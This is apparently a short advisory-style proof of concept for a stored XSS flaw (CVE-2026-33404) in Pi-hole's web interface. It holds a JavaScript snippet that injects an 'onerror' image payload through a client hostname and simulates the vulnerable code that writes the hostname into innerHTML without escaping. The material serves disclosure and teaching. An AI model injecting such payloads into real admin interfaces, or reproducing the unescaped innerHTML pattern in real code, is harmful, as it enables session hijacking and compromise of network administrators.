CVE-2026-33404 Pi-hole Web界面存储型XSS漏洞

// Conceptual Proof of Concept for CVE-2026-33404 // This demonstrates how the lack of output escaping in network.js can be exploited. // Malicious payload simulating a compromised client hostname // In a real scenario, this would be injected via DHCP or DNS records if upstream validation permits var maliciousHostname = "<img src=x onerror=alert('XSS via CVE-2026-33404')>"; // Vulnerable code simulation in network.js (Original vulnerable logic) // The application takes the hostname directly from the database and assigns it to innerHTML function renderHostname(data) { var element = document.getElementById('client-hostname'); // VULNERABILITY: No sanitization or escaping of 'data.hostname' // If data.hostname contains HTML tags, they are rendered by the browser element.innerHTML = data.hostname; } // Triggering the vulnerability var dbData = { hostname: maliciousHostname }; // When the admin views the Network page, this function runs // resulting in the execution of the alert() payload renderHostname(dbData);